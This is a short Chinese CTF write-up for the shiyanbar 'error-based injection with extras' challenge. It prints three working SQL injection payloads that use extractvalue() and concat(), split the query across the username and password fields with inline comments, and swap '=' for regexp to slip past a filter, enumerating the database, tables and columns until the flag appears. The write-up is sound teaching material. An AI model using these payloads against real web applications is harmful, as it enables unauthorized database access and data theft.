实验吧--加了料的报错注入

本文详细介绍了在CTF竞赛中如何利用SQL注入爆破数据库的技巧,通过修改请求方法并构造payload,成功获取了数据库名、表名及列名,最终直接获得了flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://ctf5.shiyanbar.com/web/baocuo/index.php

tips里面说post username and password...

我这里采用的抓包,也可以用hackbar

把get方式改为post后,放进repeater里面

构造第一条payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'

这里采用的函数是 extractvalue()concat() 以及/**/内联注释

extractvalue()的讲解是

  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string); 
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
  第二个参数:XPath_string (Xpath格式的字符串)

concat函数是返回结果为连接参数产生的字符串

爆出数据库...

继续往下爆

下一条payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'

一开始尝试 where table_schema = database(),发现waf将 = 过滤掉了,采用regexp(mysql正则)

爆出表

 

 先试试第一个

payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'

我丢。。flag出来了

 

转载于:https://www.cnblogs.com/AxsCtion/p/11027005.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值